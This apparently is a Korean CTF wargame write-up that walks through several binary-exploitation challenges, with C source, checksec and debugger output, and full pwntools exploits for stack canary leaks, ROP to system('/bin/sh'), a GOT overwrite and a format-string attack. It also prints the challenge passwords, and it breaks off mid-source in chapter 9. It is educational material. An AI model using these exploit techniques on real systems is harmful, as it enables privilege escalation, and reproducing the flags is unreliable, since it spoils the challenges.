#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

// Bunker status structure
typedef struct {
    int power;
    int doors;
    int IPS;
    char airQuality[10];
    char waterSupply[10];
    char communication[10];
    char structuralIntegrity[10];
} BunkerStatus;

struct auth {
    char username[50];
    char passwd[50];
};

void generateRandomCode(char *code, int length) {
    int fd;
    char randByte;

    if ((fd = open("/dev/random", O_RDONLY)) == -1)
    {
        perror("open error");
        exit(1);
    }
    if ((read(fd, code, length)) == -1)
    {
        perror("read error");
        exit(1);
    }

    for (int i = 0; i < length; i++) {
        randByte = code[i] % 10;
        if ((randByte) < 0)
            randByte += 10;
             
        code[i] = '0' + randByte; // Generate random digit
    }

}

void printStatus(BunkerStatus *status) {
    printf("Bunker Status:\n");
    printf("- Power: %s\n", status->power ? "ON" : "OFF");
    printf("- Doors: %s\n", status->doors ? "OPEN" : "CLOSED");
    printf("- IPS Systems: %s\n", status->IPS ? "ACTIVATED" : "DEACTIVATED");
    printf("- Air Quality: %s\n", status->airQuality);
    printf("- Water Supply: %s\n", status->waterSupply);
    printf("- Communication Systems: %s\n", status->communication);
    printf("- Structural Integrity: %s\n", status->structuralIntegrity);
}

void lockdown(BunkerStatus *status) {
    printf("Initiating lockdown procedure...\n");
    status->doors = 0;
    status->IPS = 1;
    status->power = 1;
    printf("Lockdown in progress...\n");
    printf("All doors closed. IPS systems activated. Power supply secured.\n");
}

void openDoors(BunkerStatus *status) {
    printf("Opening all bunker doors...\n");
    status->doors = 1;
    printf("Doors are now OPEN.\n");
}

void closeDoors(BunkerStatus *status) {
    printf("Closing all bunker doors...\n");
    status->doors = 0;
    printf("Doors are now CLOSED.\n");
}

void activateIPS(BunkerStatus *status) {
    printf("Activating IPS systems...\n");
    status->IPS = 1;
    status->doors = 0;
    printf("IPS systems are now ACTIVATED.\n");
}

void deactivateIPS(BunkerStatus *status) {
    printf("Deactivating IPS systems...\n");
    status->IPS = 0;
    status->doors = 1;
    printf("IPS systems are now DEACTIVATED.\n");
    openDoors(&status);
}

void powerOn(BunkerStatus *status) {
    printf("Powering on the bunker...\n");
    status->power = 1;
    printf("Power is now ON.\n");
}

void powerOff(BunkerStatus *status) {
    printf("Powering off the bunker...\n");
    status->power = 0;
    printf("Power is now OFF.\n");
}

void performSystemCheck(BunkerStatus *status) {
    printf("Performing system diagnostic check...\n");
    printStatus(status);
}

void displayHelp() {
    printf("Available commands:\n");
    printf("- status           : Display the current status of the bunker.\n");
    printf("- lockdown         : Initiate lockdown procedure.\n");
    printf("- open_doors       : Open all bunker doors.\n");
    printf("- close_doors      : Close all bunker doors.\n");
    printf("- activate_IPS     : Activate IPS systems.\n");
    printf("- deactivate_IPS   : Deactivate IPS systems.\n");
    printf("- power_on         : Turn on the power.\n");
    printf("- power_off        : Turn off the power.\n");
    printf("- system_check     : Perform a system diagnostic check.\n");
    printf("- exit             : Exit the Bunker Control System.\n");
}

int IPS() {
    char username[50];
    char passwd[50];

    int accessGranted = 0;
    int count = 0;

    struct auth *auth = malloc(sizeof(struct auth));

    strcpy(auth->username, "admin");
    generateRandomCode(auth->passwd, 50);

    printf("\nIntrusion Prevention System Active.\n");
    printf("Authenticate to access the system\n\n");

    while (!accessGranted && count < 3) {
        printf("Username: ");
        read(0, username, sizeof(struct auth));
        //fgets(username, sizeof(auth), stdin);
        username[strcspn(username, "\n")] = '\0';

        printf("Password: ");
        read(0, passwd, sizeof(struct auth));
        //fgets(passwd, sizeof(auth), stdin);
        passwd[strcspn(passwd, "\n")] = '\0';


        printf("\nYour account: %s\n", username); 
        if (!strncmp(passwd, auth->passwd, sizeof(auth)) && !strncmp(username, auth->username, sizeof(auth))) {
            accessGranted = 1;
            printf("Access granted.\n");
            return 0 ;
        } else {
            printf("Incorrect code. Try again.\n");
            count++;
        }
    }
    printf("3 incorrect code attempts\n");
    for (int i = 30; i > 0; i--){
        printf("%d Second left\r", i);
        sleep(1);
    }
    return -1;
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
    init();

    do{

        printf("##############################################################\n");
        printf("#                    Bunker Control System                   #\n");
        printf("##############################################################\n");
        printf("Welcome to the Bunker Control System (BCS).\n");
        printf("Please enter a command. Type 'help' for a list of available commands.\n");

    }while(IPS());

    char command[50];
    BunkerStatus status = {1, 0, 1, "GOOD", "NORMAL", "FUNCTIONAL", "SOUND"};

    while (1) {
        printf("\n> ");
        fgets(command, 50, stdin);
        command[strcspn(command, "\n")] = '\0';

        if (strcmp(command, "help") == 0) {
            displayHelp();
        } else if (strcmp(command, "status") == 0) {
            printStatus(&status);
        } else if (strcmp(command, "lockdown") == 0) {
            lockdown(&status);
        } else if (strcmp(command, "open_doors") == 0) {
            openDoors(&status);
        } else if (strcmp(command, "close_doors") == 0) {
            closeDoors(&status);
        } else if (strcmp(command, "activate_IPS") == 0) {
            activateIPS(&status);
        } else if (strcmp(command, "deactivate_IPS") == 0) {
            deactivateIPS(&status);
        } else if (strcmp(command, "power_on") == 0) {
            powerOn(&status);
        } else if (strcmp(command, "power_off") == 0) {
            powerOff(&status);
        } else if (strcmp(command, "system_check") == 0) {
            performSystemCheck(&status);
        } else if (strcmp(command, "exit") == 0) {
            printf("Exiting the Bunker Control System...\n");
            break;
        } else {
            printf("Unknown command. Type 'help' for a list of available commands.\n");
        }
    }

    return 0;
}

 

이번 문제는 IPS 함수에서 Username과 Password를 입력받는데 auth 객체의 크기만큼 입력을 받는다.

Username과 Password의 크기가 50 바이트이지만 read 함수에서 읽을 바이트인 sizeof(auth)는 100 바이트이며 bof가 발생할 수 있다.

 

The_Alarm_of_Hope@hsapce-io:~$ file ips
ips: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=c0911b295588f60bdc15de567eb70b2ddaf7f675, for GNU/Linux 3.2.0, with debug_info, not stripped

The_Alarm_of_Hope@hsapce-io:~$ checksec ips
[*] '/home/The_Alarm_of_Hope/ips'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
    
The_Alarm_of_Hope@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

해당 문제는 64bit ELF 파일이며 ASLR, Canary, NX가 켜져있다.

Canary는 랜덤 값이기에 찍어서 맞출 순 없고 leak을 시켜야하는데 마침 IPS 함수에서 Username과 Password를 입력받은 뒤에, Username을 출력해주기에 여기서 leak하면 될 것이다. Canary의 하위 1바이트는 \x00로 고정이기에 여기까지 덮어쓴 뒤, 7바이트를 읽으면 될 것이다.

 

   0x0000000000401895 <+165>:	lea    rax,[rbp-0x80]
   0x0000000000401899 <+169>:	mov    edx,0x64
   0x000000000040189e <+174>:	mov    rsi,rax
   0x00000000004018a1 <+177>:	mov    edi,0x0
   0x00000000004018a6 <+182>:	call   0x401180
   
   0x00000000004018da <+234>:	lea    rax,[rbp-0x40]
   0x00000000004018de <+238>:	mov    edx,0x64
   0x00000000004018e3 <+243>:	mov    rsi,rax
   0x00000000004018e6 <+246>:	mov    edi,0x0
   0x00000000004018eb <+251>:	call   0x401180

 

IPS 함수 중 read 함수 부분이며 인자를 통해 [rbp-0x80]에 Username이, [rbp-0x40]에 Password 값이 저장되는 것을 알 수 있다.

그러면 Username을 출력해주기 때문에 Username을 0x40만큼 쓰고, Password를 0x39만큼 쓰면 된다.

canary는 [rbp-0x8]에 존재하며 canary의 하위 1바이트를 덮어야 leak이 가능하기 때문에 0x39만큼 써야 한다.

 

   0x0000000000401981 <+401>:	lea    rax,[rip+0xbee]        # 0x402576
   0x0000000000401988 <+408>:	mov    rdi,rax
   0x000000000040198b <+411>:	call   0x401150 
   
   pwndbg> x/s 0x402576
   0x402576:	"/bin/sh"  
 
   The_Alarm_of_Hope@hsapce-io:~$ objdump -d ./ips | grep -A5 -B2 401150
     401144:	ff 25 4e 2b 00 00    	jmp    *0x2b4e(%rip)        # 403c98 <__stack_chk_fail@GLIBC_2.4>
     40114a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
     401150:	f3 0f 1e fa          	endbr64 
     401154:	ff 25 46 2b 00 00    	jmp    *0x2b46(%rip)        # 403ca0 <system@GLIBC_2.2.5>
     40115a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
     401160:	f3 0f 1e fa          	endbr64 
     401164:	ff 25 3e 2b 00 00    	jmp    *0x2b3e(%rip)        # 403ca8 <printf@GLIBC_2.2.5>
     40116a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
     --
     401981:	48 8d 05 ee 0b 00 00 	lea    0xbee(%rip),%rax        # 402576 <_IO_stdin_used+0x576>
     401988:	48 89 c7             	mov    %rax,%rdi
     40198b:	e8 c0 f7 ff ff       	call   401150 <_init+0x150>
     401990:	b8 00 00 00 00       	mov    $0x0,%eax
     401995:	e9 82 00 00 00       	jmp    401a1c <IPS+0x22c>
     40199a:	48 8d 05 dd 0b 00 00 	lea    0xbdd(%rip),%rax        # 40257e <_IO_stdin_used+0x57e>
     4019a1:	48 89 c7             	mov    %rax,%rdi
     4019a4:	e8 87 f7 ff ff       	call   401130 <_init+0x130>

 

IPS 함수를 보다보니 0x402576에 /bin/sh 문자열이 존재하여 0x401150를 objdump로 확인해보니 system@plt였다.

그렇다는 건 canary를 leak해서 canary를 넣고 0x401981로 점프시키면 쉘을 얻을 수 있다.

 

from pwn import *

p = process('./ips')

payload = b'A'*56 + b'B'

p.sendafter(b"Username: ", b'Z'*64)
p.sendafter(b"Password: ", payload)

p.recvuntil(b"AB")
canary = p.recv(7)

canary = int.from_bytes(b'\x00' + canary, 'little')
print(hex(canary))

p.sendafter(b"Username: ", b'A')
p.sendafter(b"Password: ", b'A')

p.sendafter(b"Username: ", b'Z')
payload = b'A'*56 + p64(canary) + p64(0) + p64(0x401981)
p.sendafter(b"Password: ", payload)
p.interactive()

 

해당 익스는 첫 번째 입력에서 canary를 leak하고 3번째 입력에서 return address를 0x401981로 덮어쓴다.

 

 

익스를 실행하여 비밀번호를 획득했다.

 

i_wA5_A_bos5...

CH. 6

//gcc -o prob prob.c -fstack-protector -no-pie
#include <stdio.h>

void menu(){
    puts("1. read diary");
    puts("2. write diary");
    puts("3. put down the diary");
    printf("> ");
}

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    int ch, index = 0;
    char page1[] = "As soon as I arrived here, I locked the door tightly.\nCatching my breath, it feels like a miracle that I managed to escape safely.";
    char page2[] = "Looking around, there isn't much food left.\nTo survive, I'll have to go out again soon.";
    char page3[] = "I checked my weapons and packed the necessary supplies in my bag.\nAccording to rumors I heard outside, there's a vaccine at a nearby lab.";
    char page4[] = "As I headed out, I could hear the zombies' cries.\nMy heart was pounding wildly, but I moved quietly.";
    char page5[] = "At that moment, a zombie suddenly attacked me.\nAs I checked the bite wound on my arm, I realized that the vaccine at the lab was now my last hope.";
    char hidden[] = "Failed, failed, failed, failed, failed, faile... itchy, tasty";
    char* diary[] = {page1, page2, page3, page4, page5, hidden};\
    puts("");
    printf("  ██████  █    ██  ██▀███   ██▒   █▓ ██▓ ██▒   █▓ ▒█████   ██▀███    ██████    ▓█████▄  ██▓ ▄▄▄       ██▀███ ▓██   ██▓\n");
    printf("▒██    ▒  ██  ▓██▒▓██ ▒ ██▒▓██░   █▒▓██▒▓██░   █▒▒██▒  ██▒▓██ ▒ ██▒▒██    ▒    ▒██▀ ██▌▓██▒▒████▄    ▓██ ▒ ██▒▒██  ██▒\n");
    printf("░ ▓██▄   ▓██  ▒██░▓██ ░▄█ ▒ ▓██  █▒░▒██▒ ▓██  █▒░▒██░  ██▒▓██ ░▄█ ▒░ ▓██▄      ░██   █▌▒██▒▒██  ▀█▄  ▓██ ░▄█ ▒ ▒██ ██░\n");
    printf("  ▒   ██▒▓▓█  ░██░▒██▀▀█▄    ▒██ █░░░██░  ▒██ █░░▒██   ██░▒██▀▀█▄    ▒   ██▒   ░▓█▄   ▌░██░░██▄▄▄▄██ ▒██▀▀█▄   ░ ▐██▓░\n");
    printf("▒██████▒▒▒▒█████▓ ░██▓ ▒██▒   ▒▀█░  ░██░   ▒▀█░  ░ ████▓▒░░██▓ ▒██▒▒██████▒▒   ░▒████▓ ░██░ ▓█   ▓██▒░██▓ ▒██▒ ░ ██▒▓░\n");
    printf("▒ ▒▓▒ ▒ ░░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░   ░ ▐░  ░▓     ░ ▐░  ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░▒ ▒▓▒ ▒ ░    ▒▒▓  ▒ ░▓   ▒▒   ▓▒█░░ ▒▓ ░▒▓░  ██▒▒▒\n");
    printf("░ ░▒  ░ ░░░▒░ ░ ░   ░▒ ░ ▒░   ░ ░░   ▒ ░   ░ ░░    ░ ▒ ▒░   ░▒ ░ ▒░░ ░▒  ░ ░    ░ ▒  ▒  ▒ ░  ▒   ▒▒ ░  ░▒ ░ ▒░▓██ ░▒░\n");
    printf("░  ░  ░   ░░░ ░ ░   ░░   ░      ░░   ▒ ░     ░░  ░ ░ ░ ▒    ░░   ░ ░  ░  ░      ░ ░  ░  ▒ ░  ░   ▒     ░░   ░ ▒ ▒ ░░\n\n");

    while(1){
        menu();
        scanf("%d", &ch);
        if (ch == 1){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            puts(diary[index]);
        }
        else if (ch == 2){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            printf("content > ");
            read(0, diary[index], 0x100);
        }
        else if (ch == 3){
            break;
        }
    }
    puts("Ok let's go!");
    return 0;

 

이번 문제는 diary가 배열로 되어있는데 2번 메뉴에서 내용을 입력할 때 0x100만큼 받기에 bof를 발생할 수 있다.

그 후 1번 메뉴에서 선택한 page를 출력하기에 canary를 leak 할 수 있을 것 같다.

 

Crisis_at_the_Vault@hsapce-io:~$ file prob
prob: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

Crisis_at_the_Vault@hsapce-io:~$ checksec prob
[*] '/home/Crisis_at_the_Vault/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Crisis_at_the_Vault@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

Canary, partial RELRO, NX, ASLR이 활성화되어 있다.

 

pwndbg> stack 10
00:0000│ rsp 0x7fffffffe000 ◂— 0
01:0008│-308 0x7fffffffe008 ◂— 0x400000002
02:0010│-300 0x7fffffffe010 —▸ 0x7fffffffe150 ◂— 'As soon as I arrived here, I locked the door tightly.\nCatching my breath, it feels like a miracle that I managed to escape safely.'
03:0018│-2f8 0x7fffffffe018 —▸ 0x7fffffffe080 ◂— "Looking around, there isn't much food left.\nTo survive, I'll have to go out again soon."
04:0020│-2f0 0x7fffffffe020 —▸ 0x7fffffffe1e0 ◂— "I checked my weapons and packed the necessary supplies in my bag.\nAccording to rumors I heard outside, there's a vaccine at a nearby lab."
05:0028│-2e8 0x7fffffffe028 —▸ 0x7fffffffe0e0 ◂— "As I headed out, I could hear the zombies' cries.\nMy heart was pounding wildly, but I moved quietly."
06:0030│-2e0 0x7fffffffe030 —▸ 0x7fffffffe270 ◂— 'At that moment, a zombie suddenly attacked me.\nAs I checked the bite wound on my arm, I realized that the vaccine at the lab was now my last hope.'
07:0038│-2d8 0x7fffffffe038 —▸ 0x7fffffffe040 ◂— 'Failed, failed, failed, failed, failed, faile... itchy, tasty'
08:0040│-2d0 0x7fffffffe040 ◂— 'Failed, failed, failed, failed, failed, faile... itchy, tasty'
09:0048│-2c8 0x7fffffffe048 ◂— 'failed, failed, failed, failed, faile... itchy, tasty'

pwndbg> x/x $rbp
0x7fffffffe310:	0x0000000000000001

 

현재 diary 배열의 4번 인덱스는 page5를 가리키고 있으며, page5의 실제 주소는 0x7fffffffe270이다.

rbp는 0x7fffffffe310 위치에 있기 때문에 page5 위치에서 read 함수로 읽을 수 있는 0x100 바이트를 이용하면 canary, return address에 충분히 접근할 수 있다.

 

from pwn import *

p = process('./prob')

p.sendlineafter(b">", b'2\n4')
p.send(b'A'*152 + b'B')
p.sendlineafter(b">", b'1\n4')
p.recvuntil(b'AB')
canary = int.from_bytes(b'\x00' + p.recv(7), 'little')
print(hex(canary))

p.sendlineafter(b">", b'2\n4')
p.send(b'A'*167 + b'B')
p.sendlineafter(b">", b'1\n4')
p.recvuntil(b'AB')

return_add = int.from_bytes(p.recv(6), 'little')
libc_add = return_add - 0x29d90
print(hex(libc_add))
gadget_add = libc_add + 0x2a3e5 # pop rdi; ret
ret_add = libc_add + 0x29139 # ret
binsh_add = libc_add + 0x1d8678 # /bin/sh
system_add = libc_add + 0x50d70 # system

p.sendlineafter(b">", b'2\n4')
p.sendline(b'A'*152 + p64(canary) + b'A'*8 + p64(ret_add) + p64(gadget_add) + p64(binsh_add) + p64(system_add))
p.sendlineafter(b">", b'3')
p.interactive()

 

다음과 같이 익스를 작성했다.

처음엔 2번으로 가 page5에 A 152개를 넣어 canary 주소까지 간 다음 B 1개를 넣어 \x00인 canary의 하위 1바이트를 덮는다.

그러고 1번으로 가 page5를 읽으면 canary가 leak된다.

그 후 ASLR이 켜져있었기 때문에 return address도 leak을 해야 한다.

그 이유는 프로세스를 실행했을 때 바로 main 함수를 시작하는 것이 아닌 libc 내에서 main을 호출하는 함수를 실행하기 때문이다.

그렇기에 main 함수의 return address는 libc 함수 내부 주소를 가리키기에 오프셋을 빼 libc base 주소를 구할 수 있다.

그 후 leak한 return address를 통해 계산한 libc base 주소와 system, "/bin/sh", pop rdi gadget 주소를 구해 ROP chain을 구성하였다.

 

 

익스를 실행하여 비밀번호를 획득했다.

anchovy

CH. 7

#include <stdio.h>
/*
    HSpace Lord of the BOF
    - got
*/

unsigned long long wire[100];


void startup(){    
    puts("Hope the car starts!");
    char wish[0x100];
    read(0, wish, 0x200);        
}

void menu(){
    puts("1. Re-map ecu");
    puts("2. Start a car");
    puts("3. Die XD");
}

int main(int argc, char *argv[]){
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    puts("Kill switch enabled");
    puts("The car won't start if the kill switch is on");
    while(1){
        int select; 
	menu();
	printf("> ");
        scanf("%d", &select);
        getchar();
        if (select == 1){
            printf("number : ");
            scanf("%d", &select);
            getchar();
            printf("value : ");
            scanf("%llu", &wire[select]);
        }else if (select == 2){
            startup();
        }else{
            puts("Grrrrr....!!!");
            return 1;
        }        
    }
}

 

문제 이름처럼 got를 이용해서 뭔가 해야될 것 같다.

 

Wired_at_the_Vault@hsapce-io:~$ file got
got: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=7b2cce85241aae36c7be98df86ed638bddad6bd8, for GNU/Linux 3.2.0, not stripped

Wired_at_the_Vault@hsapce-io:~$ checksec got
[*] '/home/Wired_at_the_Vault/got'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    
Wired_at_the_Vault@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

partial RELRO, canary, NX, ASLR이 켜져있다.

근데 코드 내에 출력하는 부분이 없어 어떻게 canary를 leak 시킬지 고민이었다.

주변 포너블 잘하는 사람들에게 물어보니 canary가 변조됐을 때 어떻게 프로세스가 종료되는지 확인해보라고 했다.

 

pwndbg> disassemble 0x401203
Dump of assembler code for function startup:
   0x0000000000401203 <+0>:	endbr64 
   0x0000000000401207 <+4>:	push   rbp
   0x0000000000401208 <+5>:	mov    rbp,rsp
   0x000000000040120b <+8>:	sub    rsp,0x110
   0x0000000000401212 <+15>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040121b <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040121f <+28>:	xor    eax,eax
   0x0000000000401221 <+30>:	lea    rax,[rip+0xde0]        # 0x402008
   0x0000000000401228 <+37>:	mov    rdi,rax
   0x000000000040122b <+40>:	call   0x4010a0 <puts@plt>
   0x0000000000401230 <+45>:	lea    rax,[rbp-0x110]
   0x0000000000401237 <+52>:	mov    edx,0x200
   0x000000000040123c <+57>:	mov    rsi,rax
   0x000000000040123f <+60>:	mov    edi,0x0
   0x0000000000401244 <+65>:	mov    eax,0x0
   0x0000000000401249 <+70>:	call   0x4010e0 <read@plt>
   0x000000000040124e <+75>:	nop
   0x000000000040124f <+76>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401253 <+80>:	sub    rax,QWORD PTR fs:0x28
   0x000000000040125c <+89>:	je     0x401263 <startup+96>
   0x000000000040125e <+91>:	call   0x4010b0 <__stack_chk_fail@plt>
   0x0000000000401263 <+96>:	leave  
   0x0000000000401264 <+97>:	ret    
End of assembler dump.

pwndbg> got __stack_chk_fail
Filtering by symbol name: __stack_chk_fail
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/Wired_at_the_Vault/chall:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64

pwndbg> p &wire
$1 = (<data variable, no debug info> *) 0x404080 <wire>

 

다음과 같이 함수가 종료될 때 __stack_chk_fail 함수가 호출되는데 해당 함수에서 canary가 변조되었는지를 검사한다.

현재 코드는 wire에 값을 입력할 수 있으며 wire 변수와 __stack_chk_fail@got의 주소가 가까운 것을 확인했고 이걸 overwrite해서 canary 검사 실패 동작을 덮어쓸 수 있다.

 

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010a0  puts@plt
0x00000000004010b0  __stack_chk_fail@plt
0x00000000004010c0  setbuf@plt
0x00000000004010d0  printf@plt
0x00000000004010e0  read@plt
0x00000000004010f0  getchar@plt
0x0000000000401100  __isoc99_scanf@plt
0x0000000000401110  _start
0x0000000000401140  _dl_relocate_static_pie
0x0000000000401150  deregister_tm_clones
0x0000000000401180  register_tm_clones
0x00000000004011c0  __do_global_dtors_aux
0x00000000004011f0  frame_dummy
0x00000000004011f6  gadget
0x0000000000401203  startup
0x0000000000401265  menu
0x000000000040129d  main
0x0000000000401408  _fini

pwndbg> disassemble gadget
Dump of assembler code for function gadget:
   0x00000000004011f6 <+0>:	endbr64 
   0x00000000004011fa <+4>:	push   rbp
   0x00000000004011fb <+5>:	mov    rbp,rsp
   0x00000000004011fe <+8>:	pop    rdi
   0x00000000004011ff <+9>:	ret    
   0x0000000000401200 <+10>:	nop
   0x0000000000401201 <+11>:	pop    rbp
   0x0000000000401202 <+12>:	ret    
End of assembler dump.

 

function들을 출력해보니 코드에 보이지 않던 gadget 함수가 존재한다.

 

 

scanf@got 주소는 0x404048이고, puts@got 주소는 0x404018이다.

이를 이용해서 ROP chain을 만들어 scanf@plt의 주소를 얻어 libc base 주소를 얻을 것이다.

 

from pwn import *

p = process('./got')

p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"number : ", b'-12')
p.sendlineafter(b"value : ", b'4199013')

scanf_offset = 0x62090

payload = b'A' *(0x110 + 8)
payload += p64(0x4011fe) # pop rdi; ret
payload += p64(0x404048) # scanf@got
payload += p64(0x4010a0) # puts@plt
payload += p64(0x401203) # startup()

p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"starts!", payload)
p.recvuntil(b"Die XD\n")

scanf_addr = int.from_bytes(p.recv(6), 'little')
libc_addr = scanf_addr - scanf_offset
shell_addr = 0x1d8678 + libc_addr
system_addr = 0x50d70 + libc_addr
print(hex(scanf_addr))

payload = b'A' * (0x110 + 8)
payload += p64(0x4011ff) # ret
payload += p64(0x4011fe) # pop rdi; ret
payload += p64(shell_addr)
payload += p64(system_addr)

p.sendlineafter(b"starts!", payload)

p.interactive()

 

다음과 같이 익스를 작성했다.

먼저 첫 번째 입력은 wire에 값을 적는데 select 변수 값을 검사하지 않기 때문에 -12를 넣어 wire-(0xc * 8) 위치에 값을 쓸 수 있고, 해당 위치에는 __stack_chk_fail@got가 위치한다. -12를 한 이유는 wire와 __stack_chk_fail@got의 주소 차이가 0x60이기 때문이다. 그래서 wire-(0xc * 8)에 4199013을 입력해주었는데 16진수로 0x401265로 menu 함수의 주소이다. 이제 __stack_chk_fail@got 함수를 호출될 때마다 menu 함수가 출력된다.

그 후 2번 메뉴로 가 startup 함수 내 read 함수에서 ROP를 통해 scanf@got에 저장된 libc 주소를 puts@plt로 출력하여 scanf의 주소를 얻을 수 있다. 그 후 다시 startup 함수로 리턴하여 다시 입력을 한다. 마지막 입력에서는 얻은 libc_addr을 이용하여 system("/bin/sh")를 실행하여 쉘을 연다.

 

 

익스를 실행하여 비밀번호를 획득했다.

goat_got_got

CH. 8

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void open_emergency_medicine(){
	char buf[30];
	int fd = open("flag" , O_RDONLY);
	read(fd,buf,20);
	printf("%s\n",buf);
	close(fd);
}

void empty(){
	printf("There is no more medicine\n");
}
void exist(){
	printf("This medicine is located in the .fsb section.\n");
}

void init(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

void menu(){
	puts("1. search medicine");
	puts("2. take medicine");
	puts("3. quit");
	printf("> ");
}

int main(){
	init();
	int *exitst_or_not=(int *)exist;
	char buf[0x100];
	int num;
	puts("Welcome to BOF pharmacy");
	puts("What do you want?");
	while(1){
		menu();
		scanf("%d",&num);
		switch(num){
			case 1:
				memset(buf,0,0x100);
				read(0, buf, 0x9f);
				printf(buf);
				if(strstr(buf, "Painkiller") || strstr(buf, "Morphine") || strstr(buf, "ibuprofen")){
					exitst_or_not = (int *)empty;
				}
				break;
			case 2:
				if(exitst_or_not != NULL){
					(*(void (*)()) exitst_or_not)();
				}
				else{
					printf("Choose medicine first\n");
				}
				break;
			case 3:
				printf("Goodbye\n");
				return 0;
				break;
			default:
				printf("Wrong input\n");
				break;
		}
		
	}
	return 0;

	
}

 

문제 이름처럼 포맷 스트링 버그를 사용하여 푸는 문제인 것 같다.

1번 메뉴에서 입력을 받은 뒤 printf 함수로 출력하는데 포맷 스트링을 안적어주었기에 이 부분에서 포맷 스트링 버그가 발생한다.

 

Awakening_in_the_Dark@hsapce-io:~$ file fsb
fsb: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=13d15fcfdb65f648463fe50b4f0be3dbb0946555, for GNU/Linux 3.2.0, not stripped

Awakening_in_the_Dark@hsapce-io:~$ checksec fsb
[*] '/home/Awakening_in_the_Dark/fsb'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    
Awakening_in_the_Dark@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

partial RELRO, canary, NX, ASLR이 활성화되어 있다.

먼저 fsb 문제이니 offset부터 구한다.

 

 

입력은 8번 offset에 들어가므로 8번부터 payload를 작성하면 된다.

이제 함수 하나의 got를 open_emergency_medicine 함수 주소로 덮어 쓸건데 뭐로 하지 하다가 1번 메뉴에 들어갔을 때 한번만 실행되는 memset 함수로 잡았다.

 

 

0x404030에다가 값을 쓰면 될 것이다.

 

from pwn import *

p = process('./fsb')

memset_got = 0x404030 # memset@got
target = 0x401256 # open_emergency_medicine

#offset = 8
payload = b''
payload += b'%12$n'
payload += b'%4198998c'
payload += b'%11$n'
payload += b'A'*((8-len(payload)%8))
print(len(payload))

payload += p64(memset_got)
payload += p64(memset_got + 4)

p.sendlineafter(b"> ", b'1')
p.send(payload)

p.sendlineafter(b"> ", b'1')

p.interactive()

 

다음과 같이 익스를 작성했다.

4198998은 16진수로 바꿔보면 0x401256이 나오며 해당 값은 open_emergency_medicine 함수를 의미한다.

%n은 출력한 만큼 값을 쓰기에 %4198998c를 통해 4198998 만큼 출력하여 memset@got에 0x401256을 기록하게 된다.

오프셋을 11, 12로 넣어준 이유는 64bit에서 fsb payload를 작성할 때 주소에 있는 \x00이 printf로 읽는 과정에서 문자열이 종료된 것으로 인식하여 \x00 전까지 읽는다. 그래서 %c%n을 앞에 작성해주어야 하기 때문에 덮어쓸 곳(memset@got)가 뒤에 위치한다. 결국 %c%n으로 입력한 만큼 offset이 밀리기 때문에 A 패딩으로 정렬해주고 offset을 다시 계산한 결과가 11, 12이다.

payload를 전송한 다음 1번 메뉴로 들어가면 memset@plt 함수가 실행되며 memset@got에 저장된 open_emergency_medicine 함수가 실행된다.

 

 

익스를 실행하여 open_emergency_medicine 함수에서 flag 파일이 읽힌 것을 볼 수 있다.

fsbeeee

CH. 9

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

void init(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; pop %r15; ret");
    asm("pop %rdx; ret");
}


int main(void)
{
    init();
    char buf[0x30];
        
    printf("Hello, Sir\n");
    printf("This laboratory is currently closed.\n");
    printf("Please leave a message, and I will forward it to the person in charge of the laboratory.\n");
                
    if (loop)
    {
